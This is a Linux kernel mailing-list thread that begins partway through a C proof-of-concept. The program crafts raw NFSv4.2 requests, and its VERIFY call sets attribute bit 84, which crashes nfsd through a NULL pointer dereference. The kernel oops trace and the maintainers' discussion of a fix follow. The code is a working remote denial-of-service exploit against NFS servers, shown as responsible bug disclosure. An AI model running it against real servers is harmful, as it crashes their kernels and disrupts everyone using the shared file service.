words[0] |= (1 << 12); // acl
if(dosym && symstart == -1)
symstart = oi + 4*4; // skip over FATTR4 bitmap
put_fattr4(words, 1);
}
void
put_getattr()
{
put32(9);
put32(3);
put32(1 << 12);
put32(0);
put32(0);
}
void
send_set_acl(char *name, int dosym)
{
put_compound(6);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_lookup(name);
put_set_acl(dosym);
put_getattr();
send_send();
parse_reply(1);
}
void
put_putfh(struct fh fhx, int dosym)
{
put32(22);
if(dosym && symstart == -1)
symstart = oi;
put_opaque(fhx.len, fhx.fh);
}
void
send_putfh(struct fh fhx)
{
put_compound(2);
put_sequence();
put_putfh(fhx, 0);
send_send();
parse_reply(1);
}
void
send_lookup()
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_getfh();
send_send();
parse_reply(1);
}
void
send_readdir(int dosym)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_readdir(dosym);
send_send();
parse_reply(1);
}
void
put_root_listxattrs()
{
put32(74);
put64(0); // cookie
put32(16384); // maxcount
}
void
send_root_listxattrs()
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_root_listxattrs();
send_send();
parse_reply(1);
}
void
put_unlock(int dosym)
{
put32(14);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // READ_LT
put32(0); // open_seqid
put32(sid.seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
put64(0); // offset
put64(1); // length
}
void
send_unlock_lockfile(int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_lookup("lockfile");
put_unlock(dosym);
send_send();
parse_reply(1);
}
void
put_lock(int dosym)
{
put32(12);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // READ_LT
put32(0); // reclaim
put64(0); // offset
put64(2); // length
put32(1); // new_lock_owner
put32(0); // open_seqid
put32(sid.seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
put32(0); // lock_seqid
put64(clientid); // clientid
put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
}
void
send_lock_lockfile(int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_lookup("lockfile");
put_lock(dosym);
send_send();
parse_reply(1);
}
void
send_lock(int dosym)
{
put_compound(3);
put_sequence();
put_putfh(fh, 0);
put_lock(dosym);
send_send();
parse_reply(1);
}
void
put_dir_delegation(int dosym)
{
put32(46);
if(dosym && symstart == -1)
symstart = oi;
put32(0); // signal_deleg_avail
put32(3); // notification_types bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put64(0); // child_attr_delay
put32(0); // child_attr_delay
put64(0); // dir_attr_delay
put32(0); // dir_attr_delay
put32(3); // child_attributes bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put32(3); // dir_attributes bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
}
void
send_dir_delegation(int dosym)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_dir_delegation(dosym);
send_send();
parse_reply(1);
}
void
put_verify(int dosym)
{
put32(37);
put32(3);
if(dosym && symstart == -1)
symstart = oi;
put32(0);
put32(0);
put32(1 << (84 - 64));
put32(256);
for(int i = 0; i < 256/4; i++)
put32(0xffffffff);
}
void
send_verify(int dosym)
{
put_compound(3);
put_sequence();
put_putfh(fh, 0);
put_verify(dosym);
send_send();
parse_reply(1);
}
void
put_setxattr(int dosym)
{
put32(73);
if(dosym == 2){
put32(0); // SETXATTR4_EITHER
unsigned int klen = symx() & 0xfff;
unsigned int vlen = symx() & 0xfff;
for(int i = oi; i+8 <= sizeof(obuf); i += 8)
*(unsigned long long *)(obuf + i) = 0x4444444444444444ll ^ symx();
if(klen < 1) klen = 1;
put32(klen);
oi += klen;
while((oi % 4) != 0) oi++;
put32(vlen);
oi += vlen;
while((oi % 4) != 0) oi++;
} else if(dosym == 3) {
put32(0); // SETXATTR4_EITHER
put32(24); // klen
for(int i = 0; i < 3; i++){
*(long long *)(obuf + oi) = 0x4444444444444444ll ^ symx();
oi += 8;
}
put32(24); // vlen
for(int i = 0; i < 3; i++){
*(long long *)(obuf + oi) = 0x4444444444444444ll ^ symx();
oi += 8;
}
} else {
if(dosym && symstart == -1)
symstart = oi;
put32(0); // SETXATTR4_EITHER
put_opaque(24, "12345678abcdefgh12345678"); // key
put_opaque(16, "abcdefgh12345678"); // value
}
}
void
send_setxattr(int dosym)
{
put_compound(4);
put_sequence();
put_putfh(fh, 0);
put_setxattr(dosym);
send_send();
parse_reply(1);
}
void
put_remove(char *name)
{
put32(28);
put_opaque(strlen(name), name);
}
void
send_remove(char *name)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_remove(name);
send_send();
parse_reply(1);
}
void
put_junk(int op, int words)
{
put32(op);
if(symstart != -1)
symstart = oi;
for(int i = 0; i < words; i++)
put32(0);
}
void
send_root_junk(int op, int words)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_junk(op, words);
send_send();
parse_reply(1);
}
void
put_layoutget(int dosym)
{
put32(50);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // signal_layout_avail
put32(4); // layout_type, FLEXFILE
put32(2); // iomode, 1=READ, 2=RW, 3=ANY
put64(0); // offset
put64(8); // length
put64(8); // minlength
put32(sid.seqid); // stateid seq
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
put32(4096); // maxcount
}
void
send_layoutget_xxx(int dosym)
{
sys("echo 1234567890123456 > /tmp/out");
sys("chown nobody /tmp/out");
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_existing("out", 3);
put_layoutget(dosym);
send_send();
parse_reply(1);
}
void
send_layoutget(int dosym)
{
put_compound(3);
put_sequence();
put_putfh(fh, 0);
put_layoutget(dosym);
send_send();
parse_reply(1);
}
void
put_layoutreturn(int dosym)
{
put32(51);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // reclaim
put32(4); // layout_type, FLEXFILE
put32(3); // iomode, ANY
put32(1); // returntype, FILE
put64(0); // offset
put64(8); // length
put32(1); // stateid seq -- special current stateid
for(int i = 0; i < 12; i++)
obuf[oi++] = 0;
put_opaque_repeat(64, 'x'); // lrf_body<>
}
void
send_layoutreturn(int dosym)
{
sys("echo 1234567890123456 > /tmp/out");
sys("chown nobody /tmp/out");
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_existing("out", 3);
put_layoutreturn(dosym);
send_send();
parse_reply(1);
}
void
put_secinfo_no_name(int dosym)
{
put32(52);
put32(1); // 0=CURRENT_FH, 1=PARENT
}
void
send_secinfo_no_name(int dosym)
{
sys("echo 1234567890123456 > /tmp/out");
sys("chown nobody /tmp/out");
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_existing("out", 3);
put_secinfo_no_name(dosym);
send_send();
parse_reply(1);
}
void
xxx_put_get_dir_delegation(int dosym)
{
put32(46);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // signal_delet_avail
put32(3); // notification_types bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put64(0); // child_attr_delay
put64(0);
put64(0); // dir_attr_delay
put64(0);
put32(3); // child_attributes bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put32(3); // dir_attributes bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
}
void
xxx_send_get_dir_delegation(int dosym)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
xxx_put_get_dir_delegation(dosym);
send_send();
parse_reply(1);
}
void
send_root_blah()
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
symstart = oi;
for(int i = 0; i < 32; i++)
put32(0xffffffff);
send_send();
parse_reply(1);
}
void
send_cur_blah()
{
put_compound(4);
put_sequence();
put_putfh(fh, 0);
put_savefh();
symstart = oi;
for(int i = 0; i < 32; i++)
put32(0xffffffff);
send_send();
parse_reply(1);
}
void
put_read(int dosym)
{
put32(25);
if(dosym && symstart == -1)
symstart = oi;
put32(sid.seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
put64(0); // offset
put32(512); // count
}
void
send_read(int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
sys("rm -f /tmp/foof; echo hello > /tmp/foof; chown nobody /tmp/foof");
put_open_existing("foof", 1);
put_read(dosym);
send_send();
parse_reply(1);
}
void
put_write(int dosym)
{
put32(38);
if(dosym && symstart == -1)
symstart = oi;
put32(sid.seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
put64(-9999); // offset
put32(0); // stable_how
put_opaque(6, "hello\n"); // data
}
void
send_write(int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
unlink("/tmp/newnew");
put_open_create("newnew", 0);
put_write(dosym);
send_send();
parse_reply(1);
}
// assumes that server's saved_fh is already
// source file, and current_fh is already destination file.
void
put_copy(struct stateid src, struct stateid dst, int inter, int dosym)
{
put32(60);
if(dosym && symstart == -1)
symstart = oi;
// src_stateid
put32(src.seqid); // from previous send_open_existing()
for(int i = 0; i < 12; i++)
obuf[oi++] = src.other[i];
// dst_stateid
put32(dst.seqid);
for(int i = 0; i < 12; i++)
obuf[oi++] = dst.other[i];
put64(0); // src_offset
put64(0); // dst_offset
put64(4); // count
put32(1); // consecutive
put32(0); // synchronous
// netloc4 ca_source_server<>
if(inter){
put32(1);
put32(3); // NL4_NETADDR
// netaddr4
put_opaque(3, "tcp"); // netid
put_opaque(12, "127.0.0.1.8.1"); // addr
} else {
put32(0);
}
}
void
send_copy(struct fh src_fh, struct stateid src_sid,
struct fh dst_fh, struct stateid dst_sid,
int inter,
int dosym)
{
put_compound(5);
put_sequence();
put_putfh(src_fh, 0);
put_savefh();
put_putfh(dst_fh, 0);
put_copy(src_sid, dst_sid, inter, dosym);
send_send();
parse_reply(1);
}
// assumes that server's saved_fh is already
// source file, and current_fh is already destination file.
void
put_clone(struct stateid src, struct stateid dst, int dosym)
{
put32(71);
if(dosym && symstart == -1)
symstart = oi;
// src_stateid
put32(src.seqid); // from previous send_open_existing()
for(int i = 0; i < 12; i++)
obuf[oi++] = src.other[i];
// dst_stateid
put32(dst.seqid);
for(int i = 0; i < 12; i++)
obuf[oi++] = dst.other[i];
put64(0); // src_offset
put64(0); // dst_offset
put64(4); // count
}
void
send_clone(struct fh src_fh, struct stateid src_sid,
struct fh dst_fh, struct stateid dst_sid,
int dosym)
{
put_compound(5);
put_sequence();
put_putfh(src_fh, 0);
put_savefh();
put_putfh(dst_fh, 0);
put_clone(src_sid, dst_sid, dosym);
send_send();
parse_reply(1);
}
void
put_copy_notify(int dosym)
{
put32(61);
if(dosym && symstart == -1)
symstart = oi;
// src_stateid
put32(sid.seqid);
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
// netloc4 destination_server
put32(3); // NL4_NETADDR
put_opaque(3, "tcp");
put_opaque(12, "127.0.0.1.8.1"); // addr
}
void
send_copy_notify(int dosym)
{
put_compound(3);
put_sequence();
put_putfh(fh, 0);
put_copy_notify(dosym);
send_send();
parse_reply(1);
}
void
put_get_dir_delegation(int dosym)
{
put32(46);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // gdda_signal_deleg_avail
put32(1); // length of gdda_notification_types bitmap4
put32(0);
put64(0); // nfstime4 gdda_child_attr_delay
put32(0); // nfstime4
put64(0); // nfstime4 gdda_dir_attr_delay
put32(0); // nfstime4
put32(3); // gdda_child_attributes bitmap4
put32(0);
put32(0);
put32(0);
put32(3); // gdda_dir_attributes bitmap4
put32(0);
put32(0);
put32(0);
}
void
send_get_dir_delegation(int dosym)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_get_dir_delegation(dosym);
send_send();
parse_reply(1);
}
void
put_seek(int dosym)
{
put32(69);
if(dosym && symstart == -1)
symstart = oi;
// stateid4
put32(sid.seqid);
for(int i = 0; i < 12; i++)
obuf[oi++] = sid.other[i];
put64(1); // sa_offset
put32(0); // NFS4_CONTENT_DATA
}
void
send_seek(int dosym)
{
put_compound(3);
put_sequence();
put_putfh(fh, 0);
put_seek(dosym);
send_send();
parse_reply(1);
}
void
put_listxattrs(int dosym)
{
put32(74);
if(dosym && symstart == -1)
symstart = oi;
put64(0); // nfs_cookie4
put32(4096); // count4
}
void
send_listxattrs(int dosym)
{
put_compound(3);
put_sequence();
put_putfh(fh, 0);
put_listxattrs(dosym);
send_send();
parse_reply(1);
}
int
main()
{
// /etc/exports
// /tmp 127.0.0.1(rw,subtree_check,pnfs)
sys("/usr/sbin/rpcbind -f -w &");
sleep(1);
sys("mount -t rpc_pipefs rpc_pipefs /var/lib/nfs/rpc_pipefs");
sys("mount -t nfsd nfsd /proc/fs/nfsd");
sleep(1);
sys("/usr/sbin/rpc.nfsd --lease-time 10 --grace-time 10 1");
sleep(1);
sys("/usr/sbin/rpc.mountd --manage-gids");
sleep(1);
sys("/usr/sbin/rpc.idmapd -p /var/lib/nfs/rpc_pipefs");
sys("exportfs -au");
sys("exportfs -f");
sys("exportfs -r");
sys("exportfs -v");
sys("echo Y > /sys/module/nfsd/parameters/inter_copy_offload_enable");
s = socket(AF_INET, SOCK_STREAM, 0);
int yes = 1;
if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0)
perror("SO_REUSEADDR");
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
for(int i = 100; i < 1024; i++){
sin.sin_port = htons(i);
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) == 0){
break;
}
}
sin.sin_port = htons(2049);
sync();
sleep(11); // grace period
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("connect");
exit(1);
}
int pid = fork();
if(pid == 0){
send_nop();
// send_exchange_id_sym();
send_exchange_id(0);
send_create_session(0);
send_reclaim_complete();
// server may miss the first time, yielding 10008 NFS4ERR_DELAY.
// so trigger the upcall to rpc.mountd and wait a bit.
send_lookup();
sleep(1);
unlink("/tmp/xx1");
send_open_create("xx1", 0);
send_verify(1);
sleep(1);
close(s);
sleep(1);
exit(0);
}
close(s);
for(int i = 0; i < 60; i++){
sleep(1);
int st;
int ret = waitpid(pid, &st, WNOHANG);
if(ret == pid)
break;
}
kill(pid, 9);
sleep(1);
}
^ permalink raw reply [flat|nested] 6+ messages in thread* Re: client can crash nfsd4_encode_fattr4() by setting bit 84
2025-09-10 13:55 client can crash nfsd4_encode_fattr4() by setting bit 84 rtm
@ 2025-09-10 14:49 ` Jeff Layton
2025-09-10 14:53 ` Chuck Lever
0 siblings, 1 reply; 6+ messages in thread
From: Jeff Layton @ 2025-09-10 14:49 UTC (permalink / raw)
To: rtm, Chuck Lever
Cc: NeilBrown, Olga Kornievskaia, Dai Ngo, Tom Talpey, linux-nfs
On Wed, 2025-09-10 at 09:55 -0400, rtm@csail.mit.edu wrote:
> Entry 84 (and a few neighbors) in nfsd4_enc_fattr4_encode_ops[] is
> NULL, so if a client sets that bit in an OP_VERIFY bitmask, the server
> will crash here in nfsd_encode_fattr4():
>
> for_each_set_bit(bit, attr_bitmap,
> ARRAY_SIZE(nfsd4_enc_fattr4_encode_ops)) {
> status = nfsd4_enc_fattr4_encode_ops[bit](xdr, &args);
Thanks. That looks like a real bug, alright. I think we just need to
check that nfsd4_enc_fattr4_encode_ops[bit] is non-NULL before calling
its handler.
Care to propose a patch?
>
> I've attached a demo:
>
> # cc nfsd128b.c
> # ./a.out
> ...
> [ 354.732253] BUG: kernel NULL pointer dereference, address: 0000000000000000
> [ 354.733355] #PF: supervisor instruction fetch in kernel mode
> [ 354.734247] #PF: error_code(0x0010) - not-present page
> [ 354.735053] PGD 0 P4D 0
> [ 354.735482] Oops: Oops: 0010 [#1] SMP PTI
> [ 354.736120] CPU: 2 UID: 0 PID: 1459 Comm: nfsd Not tainted 6.17.0-rc4-00231-gc8ed9b5c02a5 #28 PREEMPT(voluntary)
> [ 354.737664] Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
> [ 354.738645] RIP: 0010:0x0
> [ 354.739087] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
> [ 354.739677] RSP: 0018:ffffa7a380e0fa20 EFLAGS: 00010293
> [ 354.739956] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000053
> [ 354.740327] RDX: 0000000000000014 RSI: ffffa7a380e0fa78 RDI: ffffa7a380e0fc50
> [ 354.740691] RBP: ffffa7a380e0fc28 R08: 0000000000000001 R09: ffffa7a380e0fa68
> [ 354.741060] R10: 0000000000000000 R11: 0000000000140000 R12: ffffa7a380e0fc50
> [ 354.741432] R13: 0000000000000010 R14: 0000000000000054 R15: ffffa36c03bdba00
> [ 354.741802] FS: 0000000000000000(0000) GS:ffffa36fa6c88000(0000) knlGS:0000000000000000
> [ 354.742215] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [ 354.742519] CR2: ffffffffffffffd6 CR3: 00000001885a6003 CR4: 00000000003706f0
> [ 354.742887] Call Trace:
> [ 354.743030] <TASK>
> [ 354.743152] nfsd4_encode_fattr4+0x310/0x6b0
> [ 354.743396] nfsd4_encode_fattr_to_buf+0xb8/0xf0
> [ 354.743645] ? _nfsd4_verify+0x9a/0x160
> [ 354.743861] ? _nfsd4_verify+0xd0/0x160
> [ 354.744072] _nfsd4_verify+0xd0/0x160
> [ 354.744278] nfsd4_verify+0x9/0x20
> [ 354.744466] nfsd4_proc_compound+0x39c/0x720
> [ 354.744701] nfsd_dispatch+0xd2/0x210
> [ 354.744903] svc_process_common+0x481/0x630
> [ 354.745130] ? __pfx_nfsd_dispatch+0x10/0x10
> [ 354.745362] svc_process+0x12c/0x1b0
> [ 354.745558] svc_recv+0x7d0/0x990
> [ 354.745738] ? __pfx_nfsd+0x10/0x10
> [ 354.745929] nfsd+0x8a/0xe0
> [ 354.746083] kthread+0xf6/0x1f0
> [ 354.746260] ? __pfx_kthread+0x10/0x10
> [ 354.746464] ret_from_fork+0x80/0xd0
> [ 354.746658] ? __pfx_kthread+0x10/0x10
> [ 354.746859] ret_from_fork_asm+0x1a/0x30
> [ 354.747069] </TASK>
>
> Robert Morris
> rtm@mit.edu
--
Jeff Layton <jlayton@kernel.org>
^ permalink raw reply [flat|nested] 6+ messages in thread* Re: client can crash nfsd4_encode_fattr4() by setting bit 84
2025-09-10 14:49 ` Jeff Layton
@ 2025-09-10 14:53 ` Chuck Lever
2025-09-10 15:08 ` Jeff Layton
0 siblings, 1 reply; 6+ messages in thread
From: Chuck Lever @ 2025-09-10 14:53 UTC (permalink / raw)
To: Jeff Layton, rtm
Cc: NeilBrown, Olga Kornievskaia, Dai Ngo, Tom Talpey, linux-nfs
On 9/10/25 10:49 AM, Jeff Layton wrote:
> On Wed, 2025-09-10 at 09:55 -0400, rtm@csail.mit.edu wrote:
>> Entry 84 (and a few neighbors) in nfsd4_enc_fattr4_encode_ops[] is
>> NULL, so if a client sets that bit in an OP_VERIFY bitmask, the server
>> will crash here in nfsd_encode_fattr4():
>>
>> for_each_set_bit(bit, attr_bitmap,
>> ARRAY_SIZE(nfsd4_enc_fattr4_encode_ops)) {
>> status = nfsd4_enc_fattr4_encode_ops[bit](xdr, &args);
>
> Thanks. That looks like a real bug, alright. I think we just need to
> check that nfsd4_enc_fattr4_encode_ops[bit] is non-NULL before calling
> its handler.
>
> Care to propose a patch?
597 #define FATTR4_WORD2_XATTR_SUPPORT BIT(FATTR4_XATTR_SUPPORT -
64)
598 #define FATTR4_WORD2_TIME_DELEG_ACCESS BIT(FATTR4_TIME_DELEG_ACCESS
- 64)
599 #define FATTR4_WORD2_TIME_DELEG_MODIFY BIT(FATTR4_TIME_DELEG_MODIFY
- 64)
600 #define FATTR4_WORD2_OPEN_ARGUMENTS BIT(FATTR4_OPEN_ARGUMENTS -
64)
I think entries for time_deleg_access and time_deleg_modify are missing
in nfsd4_enc_fattr4_encode_ops...
>
>>
>> I've attached a demo:
>>
>> # cc nfsd128b.c
>> # ./a.out
>> ...
>> [ 354.732253] BUG: kernel NULL pointer dereference, address: 0000000000000000
>> [ 354.733355] #PF: supervisor instruction fetch in kernel mode
>> [ 354.734247] #PF: error_code(0x0010) - not-present page
>> [ 354.735053] PGD 0 P4D 0
>> [ 354.735482] Oops: Oops: 0010 [#1] SMP PTI
>> [ 354.736120] CPU: 2 UID: 0 PID: 1459 Comm: nfsd Not tainted 6.17.0-rc4-00231-gc8ed9b5c02a5 #28 PREEMPT(voluntary)
>> [ 354.737664] Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
>> [ 354.738645] RIP: 0010:0x0
>> [ 354.739087] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
>> [ 354.739677] RSP: 0018:ffffa7a380e0fa20 EFLAGS: 00010293
>> [ 354.739956] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000053
>> [ 354.740327] RDX: 0000000000000014 RSI: ffffa7a380e0fa78 RDI: ffffa7a380e0fc50
>> [ 354.740691] RBP: ffffa7a380e0fc28 R08: 0000000000000001 R09: ffffa7a380e0fa68
>> [ 354.741060] R10: 0000000000000000 R11: 0000000000140000 R12: ffffa7a380e0fc50
>> [ 354.741432] R13: 0000000000000010 R14: 0000000000000054 R15: ffffa36c03bdba00
>> [ 354.741802] FS: 0000000000000000(0000) GS:ffffa36fa6c88000(0000) knlGS:0000000000000000
>> [ 354.742215] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
>> [ 354.742519] CR2: ffffffffffffffd6 CR3: 00000001885a6003 CR4: 00000000003706f0
>> [ 354.742887] Call Trace:
>> [ 354.743030] <TASK>
>> [ 354.743152] nfsd4_encode_fattr4+0x310/0x6b0
>> [ 354.743396] nfsd4_encode_fattr_to_buf+0xb8/0xf0
>> [ 354.743645] ? _nfsd4_verify+0x9a/0x160
>> [ 354.743861] ? _nfsd4_verify+0xd0/0x160
>> [ 354.744072] _nfsd4_verify+0xd0/0x160
>> [ 354.744278] nfsd4_verify+0x9/0x20
>> [ 354.744466] nfsd4_proc_compound+0x39c/0x720
>> [ 354.744701] nfsd_dispatch+0xd2/0x210
>> [ 354.744903] svc_process_common+0x481/0x630
>> [ 354.745130] ? __pfx_nfsd_dispatch+0x10/0x10
>> [ 354.745362] svc_process+0x12c/0x1b0
>> [ 354.745558] svc_recv+0x7d0/0x990
>> [ 354.745738] ? __pfx_nfsd+0x10/0x10
>> [ 354.745929] nfsd+0x8a/0xe0
>> [ 354.746083] kthread+0xf6/0x1f0
>> [ 354.746260] ? __pfx_kthread+0x10/0x10
>> [ 354.746464] ret_from_fork+0x80/0xd0
>> [ 354.746658] ? __pfx_kthread+0x10/0x10
>> [ 354.746859] ret_from_fork_asm+0x1a/0x30
>> [ 354.747069] </TASK>
>>
>> Robert Morris
>> rtm@mit.edu
>
--
Chuck Lever
^ permalink raw reply [flat|nested] 6+ messages in thread* Re: client can crash nfsd4_encode_fattr4() by setting bit 84
2025-09-10 14:53 ` Chuck Lever
@ 2025-09-10 15:08 ` Jeff Layton
2025-09-10 15:10 ` Chuck Lever
0 siblings, 1 reply; 6+ messages in thread
From: Jeff Layton @ 2025-09-10 15:08 UTC (permalink / raw)
To: Chuck Lever, rtm
Cc: NeilBrown, Olga Kornievskaia, Dai Ngo, Tom Talpey, linux-nfs
On Wed, 2025-09-10 at 10:53 -0400, Chuck Lever wrote:
> On 9/10/25 10:49 AM, Jeff Layton wrote:
> > On Wed, 2025-09-10 at 09:55 -0400, rtm@csail.mit.edu wrote:
> > > Entry 84 (and a few neighbors) in nfsd4_enc_fattr4_encode_ops[] is
> > > NULL, so if a client sets that bit in an OP_VERIFY bitmask, the server
> > > will crash here in nfsd_encode_fattr4():
> > >
> > > for_each_set_bit(bit, attr_bitmap,
> > > ARRAY_SIZE(nfsd4_enc_fattr4_encode_ops)) {
> > > status = nfsd4_enc_fattr4_encode_ops[bit](xdr, &args);
> >
> > Thanks. That looks like a real bug, alright. I think we just need to
> > check that nfsd4_enc_fattr4_encode_ops[bit] is non-NULL before calling
> > its handler.
> >
> > Care to propose a patch?
>
> 597 #define FATTR4_WORD2_XATTR_SUPPORT BIT(FATTR4_XATTR_SUPPORT -
> 64)
> 598 #define FATTR4_WORD2_TIME_DELEG_ACCESS BIT(FATTR4_TIME_DELEG_ACCESS
> - 64)
> 599 #define FATTR4_WORD2_TIME_DELEG_MODIFY BIT(FATTR4_TIME_DELEG_MODIFY
> - 64)
> 600 #define FATTR4_WORD2_OPEN_ARGUMENTS BIT(FATTR4_OPEN_ARGUMENTS -
> 64)
>
> I think entries for time_deleg_access and time_deleg_modify are missing
> in nfsd4_enc_fattr4_encode_ops...
>
Those are typically requested in CB_GETATTR calls. I'm not sure those
are legit to request in a GETATTR. Are they?
--
Jeff Layton <jlayton@kernel.org>
^ permalink raw reply [flat|nested] 6+ messages in thread* Re: client can crash nfsd4_encode_fattr4() by setting bit 84
2025-09-10 15:08 ` Jeff Layton
@ 2025-09-10 15:10 ` Chuck Lever
2025-09-10 15:21 ` Jeff Layton
0 siblings, 1 reply; 6+ messages in thread
From: Chuck Lever @ 2025-09-10 15:10 UTC (permalink / raw)
To: Jeff Layton, rtm
Cc: NeilBrown, Olga Kornievskaia, Dai Ngo, Tom Talpey, linux-nfs
On 9/10/25 11:08 AM, Jeff Layton wrote:
> On Wed, 2025-09-10 at 10:53 -0400, Chuck Lever wrote:
>> On 9/10/25 10:49 AM, Jeff Layton wrote:
>>> On Wed, 2025-09-10 at 09:55 -0400, rtm@csail.mit.edu wrote:
>>>> Entry 84 (and a few neighbors) in nfsd4_enc_fattr4_encode_ops[] is
>>>> NULL, so if a client sets that bit in an OP_VERIFY bitmask, the server
>>>> will crash here in nfsd_encode_fattr4():
>>>>
>>>> for_each_set_bit(bit, attr_bitmap,
>>>> ARRAY_SIZE(nfsd4_enc_fattr4_encode_ops)) {
>>>> status = nfsd4_enc_fattr4_encode_ops[bit](xdr, &args);
>>>
>>> Thanks. That looks like a real bug, alright. I think we just need to
>>> check that nfsd4_enc_fattr4_encode_ops[bit] is non-NULL before calling
>>> its handler.
>>>
>>> Care to propose a patch?
>>
>> 597 #define FATTR4_WORD2_XATTR_SUPPORT BIT(FATTR4_XATTR_SUPPORT -
>> 64)
>> 598 #define FATTR4_WORD2_TIME_DELEG_ACCESS BIT(FATTR4_TIME_DELEG_ACCESS
>> - 64)
>> 599 #define FATTR4_WORD2_TIME_DELEG_MODIFY BIT(FATTR4_TIME_DELEG_MODIFY
>> - 64)
>> 600 #define FATTR4_WORD2_OPEN_ARGUMENTS BIT(FATTR4_OPEN_ARGUMENTS -
>> 64)
>>
>> I think entries for time_deleg_access and time_deleg_modify are missing
>> in nfsd4_enc_fattr4_encode_ops...
>>
>
> Those are typically requested in CB_GETATTR calls. I'm not sure those
> are legit to request in a GETATTR. Are they?
>
I think GETATTR needs to skip those, and not return an error. So they
need to be defined as noops, probably.
--
Chuck Lever
^ permalink raw reply [flat|nested] 6+ messages in thread* Re: client can crash nfsd4_encode_fattr4() by setting bit 84
2025-09-10 15:10 ` Chuck Lever
@ 2025-09-10 15:21 ` Jeff Layton
0 siblings, 0 replies; 6+ messages in thread
From: Jeff Layton @ 2025-09-10 15:21 UTC (permalink / raw)
To: Chuck Lever, rtm
Cc: NeilBrown, Olga Kornievskaia, Dai Ngo, Tom Talpey, linux-nfs
On Wed, 2025-09-10 at 11:10 -0400, Chuck Lever wrote:
> On 9/10/25 11:08 AM, Jeff Layton wrote:
> > On Wed, 2025-09-10 at 10:53 -0400, Chuck Lever wrote:
> > > On 9/10/25 10:49 AM, Jeff Layton wrote:
> > > > On Wed, 2025-09-10 at 09:55 -0400, rtm@csail.mit.edu wrote:
> > > > > Entry 84 (and a few neighbors) in nfsd4_enc_fattr4_encode_ops[] is
> > > > > NULL, so if a client sets that bit in an OP_VERIFY bitmask, the server
> > > > > will crash here in nfsd_encode_fattr4():
> > > > >
> > > > > for_each_set_bit(bit, attr_bitmap,
> > > > > ARRAY_SIZE(nfsd4_enc_fattr4_encode_ops)) {
> > > > > status = nfsd4_enc_fattr4_encode_ops[bit](xdr, &args);
> > > >
> > > > Thanks. That looks like a real bug, alright. I think we just need to
> > > > check that nfsd4_enc_fattr4_encode_ops[bit] is non-NULL before calling
> > > > its handler.
> > > >
> > > > Care to propose a patch?
> > >
> > > 597 #define FATTR4_WORD2_XATTR_SUPPORT BIT(FATTR4_XATTR_SUPPORT -
> > > 64)
> > > 598 #define FATTR4_WORD2_TIME_DELEG_ACCESS BIT(FATTR4_TIME_DELEG_ACCESS
> > > - 64)
> > > 599 #define FATTR4_WORD2_TIME_DELEG_MODIFY BIT(FATTR4_TIME_DELEG_MODIFY
> > > - 64)
> > > 600 #define FATTR4_WORD2_OPEN_ARGUMENTS BIT(FATTR4_OPEN_ARGUMENTS -
> > > 64)
> > >
> > > I think entries for time_deleg_access and time_deleg_modify are missing
> > > in nfsd4_enc_fattr4_encode_ops...
> > >
> >
> > Those are typically requested in CB_GETATTR calls. I'm not sure those
> > are legit to request in a GETATTR. Are they?
> >
>
> I think GETATTR needs to skip those, and not return an error. So they
> need to be defined as noops, probably.
Nod. That looks like the best fix.
--
Jeff Layton <jlayton@kernel.org>
^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2025-09-10 15:21 UTC | newest]
